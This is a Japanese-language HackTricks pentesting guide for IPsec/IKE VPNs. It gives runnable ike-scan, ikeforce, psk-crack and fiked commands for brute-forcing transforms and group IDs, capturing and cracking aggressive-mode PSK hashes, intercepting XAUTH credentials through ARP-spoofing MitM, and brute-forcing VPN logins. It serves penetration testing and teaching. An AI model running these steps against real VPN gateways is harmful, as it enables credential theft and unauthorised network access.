hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

21 KiB
Raw Blame History

500/udp - IPsec/IKE VPNのペンテスト

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


基本情報

IPsecは、ネットワーク間LAN間やリモートユーザーからネットワークゲートウェイへの通信を保護するための主要な技術として広く認識されており、企業向けVPNソリューションのバックボーンとして機能しています。

2つのポイント間で**セキュリティアソシエーションSA**を確立することは、IKEによって管理され、認証と鍵交換のために設計されたプロトコルであるISAKMPの枠組みの下で動作します。このプロセスはいくつかのフェーズで展開されます

  • フェーズ1: 2つのエンドポイント間に安全なチャネルが作成されます。これは、Pre-Shared KeyPSKまたは証明書を使用し、3つのメッセージのペアを含むメインモードまたはアグレッシブモードを使用して達成されます。
  • フェーズ1.5: 必須ではありませんが、このフェーズは拡張認証フェーズとして知られ、接続しようとするユーザーの身元を確認するためにユーザー名とパスワードを要求します。
  • フェーズ2: このフェーズは、ESPおよびAHを使用してデータを保護するためのパラメータを交渉することに専念しています。フェーズ1とは異なるアルゴリズムの使用を許可し、**Perfect Forward SecrecyPFS**を確保してセキュリティを強化します。

デフォルトポート: 500/udp

nmapを使用してサービスを発見する

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

有効な変換を見つける

IPSecの構成は、1つまたは複数の変換を受け入れるように準備することができます。変換は値の組み合わせです。各変換には、DESまたは3DESのような暗号化アルゴリズム、SHAまたはMD5のような整合性アルゴリズム、事前共有キーを認証タイプとして含み、Diffie-Hellman 1または2を鍵配布アルゴリズムとして、28800秒を寿命として含みます。

その後、最初に行う必要があるのは、有効な変換を見つけることです。これにより、サーバーがあなたと通信できるようになります。これを行うには、ike-scanツールを使用できます。デフォルトでは、Ike-scanはメインモードで動作し、ISAKMPヘッダーと8つの変換を含む1つの提案をゲートウェイにパケットを送信します。

応答に応じて、エンドポイントに関する情報を取得できます。

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

前の応答で見られるように、AUTHというフィールドがあり、その値はPSKです。これはVPNが事前共有キーを使用して構成されていることを意味しますこれはペンテスターにとって非常に良いことです

最後の行の値も非常に重要です:

  • 0 returned handshake; 0 returned notify: これはターゲットがIPsecゲートウェイでないことを意味します。
  • 1 returned handshake; 0 returned notify: これは、ターゲットがIPsecに構成され、IKEネゴシエーションを実行する意向があり、提案された変換のいずれかが受け入れ可能であることを意味します(有効な変換は出力に表示されます)。
  • 0 returned handshake; 1 returned notify: VPNゲートウェイは、提案された変換がいずれも受け入れられない場合には通知メッセージで応答します(ただし、一部のゲートウェイは応答しない場合もあり、その場合はさらなる分析と改訂提案が必要です)。

したがって、この場合、すでに有効な変換がありますが、3番目の場合には、有効な変換を見つけるために少しブルートフォースする必要があります:

まず、すべての可能な変換を作成する必要があります:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

そして、ike-scanを使用してそれぞれをブルートフォース攻撃しますこれには数分かかる場合があります:

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

もし総当たり攻撃がうまくいかなかった場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じ総当たり攻撃を行うが、アグレッシブモードを使用してみることができます:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

有効な変換がエコーバックされることを期待しています
同じ攻撃をiker.pyを使用して試すことができます。
ikeforceを使用して変換を総当たりで試すこともできます。

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

DH Group: 14 = 2048-bit MODP15 = 3072-bit では、2 = HMAC-SHA = SHA1 (この場合) です。--trans フォーマットは $Enc,$Hash,$Auth,$DH です。

シスコは、DH グループ 1 と 2 の使用を避けるように指示しています。これらは強力ではないため、リソースが豊富な国々は、これらの弱いグループを使用するデータの暗号化を簡単に解読できると専門家は考えています。これは、それらを素早く解読するための特別な方法を使用して行われます。この方法を設定するのに多額の費用がかかりますが、これにより、これらの強力な国々が、暗号化されたデータをリアルタイムで読むことができます1,024ビット以下のグループを使用している場合など

サーバーのフィンガープリント

次に、ike-scan を使用して、デバイスのベンダーを特定しようとすることができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンとの時間差分析することで、ペンテスターは VPN ゲートウェイのベンダーを正確にフィンガープリントできます。さらに、一部の VPN サーバーは IKE でオプションのVendor ID (VID) ペイロードを使用します。

必要に応じて有効な変換を指定します(--trans を使用)

IKE がベンダーを特定した場合、それを表示します:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

これはnmapスクリプト_ike-version_を使用しても達成できます。

正しいIDグループ名の検索

ハッシュをキャプチャするためには、アグレッシブモードをサポートし、正しいIDグループ名を持つ有効な変換が必要です。おそらく正しいグループ名はわからないため、総当たり攻撃する必要があります。
そのために、2つの方法をお勧めします

ike-scanを使用したIDの総当たり攻撃

まず、ハッシュを収集しようとして偽のIDでリクエストを行うことを試してください"-P":

ike-scan -P -M -A -n fakeID <IP>

ハッシュが返されない場合、おそらくこのブルートフォースの方法が機能するでしょう。ハッシュが返される場合、偽のIDに対して偽のハッシュが送信されるため、この方法はIDをブルートフォースするために信頼性がありません。たとえば、偽のハッシュが返される可能性があります(これは最新バージョンで発生します):

しかし、私が言ったように、ハッシュが返されない場合は、ike-scanを使用して一般的なグループ名をブルートフォースしてみる必要があります。

このスクリプトは可能なIDをブルートフォースし、有効なハンドシェイクが返されるIDこれは有効なグループ名になりますを返します。

特定の変換を発見した場合は、ike-scanコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してください正常に機能するまですべてを試す必要があります

ikeforceの辞書またはseclistsのものを使用して、一般的なグループ名をブルートフォースすることができます。

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

IDのBruteforce with Iker

iker.pyike-scanを使用して、可能なグループ名をBruteforceします。ike-scanの出力に基づいて、有効なIDを見つけるための独自の方法を使用します。

IDのBruteforce with ikeforce

ikeforce.pyは、IDをBruteforceするために使用できるツールです。このツールは、有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性を悪用しようとします偽陽性と偽陰性が発生する可能性があるため、可能な限りike-scanの方法を使用することをお勧めします

デフォルトでは、ikeforceは最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用するタクティクを決定します。

  • 最初の方法は、CiscoシステムのDead Peer Detection DPD情報を検索して、グループ名をBruteforceすることですこの情報は、グループ名が正しい場合にのみサーバーによって再生されます
  • 利用可能な2番目の方法は、各試行に送信された応答の数を確認することです。正しいIDを使用すると、より多くのパケットが送信される場合があります。
  • 3番目の方法は、不正なIDに対する応答で**"INVALID-ID-INFORMATION"を検索**することです。
  • 最後に、サーバーがチェックに対して何も応答しない場合、ikeforceはサーバーをBruteforceし、正しいIDが送信されるとサーバーがいくつかのパケットで応答するかどうかを確認します。
    明らかに、IDをBruteforceする目的は、有効なIDがわかったときにPSKを取得することです。その後、IDPSKを使用して、XAUTHをBruteforceする必要があります。

特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試す新しいループを追加してくださいうまく機能するまですべてを試す必要があります

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

スニッフィングID

(書籍ネットワークセキュリティアセスメント:ネットワークを知るよりVPNクライアントとサーバー間の接続をスニッフィングすることで、クライアントIDを含む最初のアグレッシブモードパケットを平文で送信するため、有効なユーザー名を取得することも可能です。

ハッシュのキャプチャとクラック

最後に、有効な変換グループ名が見つかり、アグレッシブモードが許可されている場合、簡単にクラック可能なハッシュを取得できます。

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

ハッシュは_hash.txt_内に保存されます。

ハッシュをクラックするためにpsk-crackjohnikescan2john.pyを使用)およびhashcatを使用できます。

psk-crack -d <Wordlist_path> psk.txt

XAuth

アグレッシブモードIKE は、**事前共有キーPSK**と組み合わせて、グループ認証の目的で一般的に使用されます。この方法は、拡張認証XAuth によって補完され、追加の ユーザー認証 のレイヤーを導入します。このような認証は通常、Microsoft Active DirectoryRADIUS、または類似のシステムを活用します。

IKEv2 に移行すると、ユーザーの認証の目的で XAuth の代わりに EAP拡張認証プロトコル が使用されるという注目すべき変化が見られます。この変更は、セキュアな通信プロトコル内での認証プラクティスの進化を強調しています。

ローカルネットワークのMitMによる資格情報のキャプチャ

したがって、fiked を使用してログインデータをキャプチャし、デフォルトのユーザー名があるかどうかを確認できますIKEトラフィックを fiked にリダイレクトしてスニッフィングする必要があります。これはARPスプーフィングを使用して行うことができます、詳細情報。Fiked はVPNエンドポイントとして機能し、XAuthの資格情報をキャプチャします。

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

IPSecを使用してMitM攻撃を試み、ポート500へのすべてのトラフィックをブロックし、IPSecトンネルを確立できない場合はトラフィックがクリアで送信される可能性があります。

ikeforceを使用してXAUTHのユーザー名とパスワードをブルートフォースする

XAUTH(有効なグループ名idpskがわかっている場合)をブルートフォースするには、ユーザー名またはユーザー名のリストとパスワードのリストを使用できます:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

This way, ikeforce will try to connect using each combination of username:password.

If you found one or several valid transforms just use them like in the previous steps.

IPSEC VPNでの認証

Kaliでは、IPsecトンネルを確立するためにVPNCが利用されます。プロファイル/etc/vpnc/ディレクトリに配置する必要があります。これらのプロファイルは、_vpnc_コマンドを使用して開始できます。

以下のコマンドと設定は、VPNCを使用してVPN接続を設定するプロセスを示しています

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
このセットアップでは:

- `[VPN_GATEWAY_IP]` を VPN ゲートウェイの実際の IP アドレスに置き換えます。
- `[VPN_CONNECTION_ID]` を VPN 接続の識別子に置き換えます。
- `[VPN_GROUP_SECRET]` を VPN のグループシークレットに置き換えます。
- `[VPN_USERNAME]``[VPN_PASSWORD]` を VPN 認証資格情報に置き換えます。
- `[PID]` は、`vpnc` が開始されると割り当てられるプロセス ID を示します。

VPN を構成する際には、プレースホルダーを実際で安全な値で置き換えることを確認してください。

## 参考資料

* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition

## Shodan

* `port:500 IKE`

**Try Hard Security Group**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

<details>

<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Other ways to support HackTricks:

* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>